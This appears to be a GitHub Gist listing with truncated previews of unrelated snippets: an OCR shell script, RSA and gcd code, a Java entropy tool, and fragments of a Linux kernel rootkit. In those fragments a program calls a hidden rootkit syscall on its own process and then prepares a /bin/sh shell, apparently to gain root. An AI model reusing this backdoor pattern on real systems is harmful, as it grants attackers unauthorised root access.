This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef __LINUX_ROOTKIT_H | |
#define __LINUX_ROOTKIT_H | |
#include <linux/linkage.h> | |
#include <linux/kernel.h> | |
#include <linux/sched.h> | |
#include <linux/syscalls.h> | |
#include <linux/sys.h> | |
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/unistd.h> | |
#include <sys/syscall.h> | |
#include <stdio.h> | |
#define rootkit(x,y) syscall(__NR_rootkit,x,y) | |
main() { | |
printf("Exit code = %d\n\n",rootkit(1,getpid())); | |
char *cmd[2]; | |
cmd[0] = "/bin/sh"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "rootkit.h" | |
int pc = 0; | |
int print_info(void) { | |
int o_ruid = current->uid; | |
int o_euid = current->euid; | |
int o_suid = current->suid; | |
pc++;// inc counter | |
printk("\n *** ---[ Printing %d ] *** \n", pc); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/unistd.h> | |
#include <sys/syscall.h> | |
#include <stdio.h> | |
#define rootkit(x,y) syscall(__NR_rootkit,x,y) | |
main() { | |
printf("Exit code = %d\n\n",rootkit(1,getpid())); | |
char *cmd[2]; | |
cmd[0] = "/bin/sh"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# This script turns ugly scanned images into plaintext | |
# | |
# @version 1.00 (ultra alpha) | |
# OCR program path; we assume tesseract, though. | |
OCR=tesseract | |
# Imagemagick | |
CONVERT=convert | |
# Do unpaper. This operation is costly, but can improve OCR. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numbertheory, time | |
def rsaKey(p, q): | |
e = 65537 | |
phi = (p - 1) * (q - 1) | |
d = numbertheory.inv(phi, e) | |
return [e, d] | |
def rsaEnc(n, e, m): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time, math, sys, random | |
def gcd(x0, y0): | |
if x0 == y0: | |
return -1 | |
while y0: | |
x0, y0 = y0, x0 % y0 | |
return x0 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Gist | |
is | |
awesome!! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
/** | |
* Calculates the amount of byte entropy across a window | |
* size, N. The maximum entropy across any window size | |
* is N unless N > 255 in which case the maximum number of | |
* of byte patterns which may exist is 255. | |
* | |
* This program is based on Charlie Daly's Entropy.java | |
* program which does more or less the same thing, but | |
* this program has lower memory requirements allowing |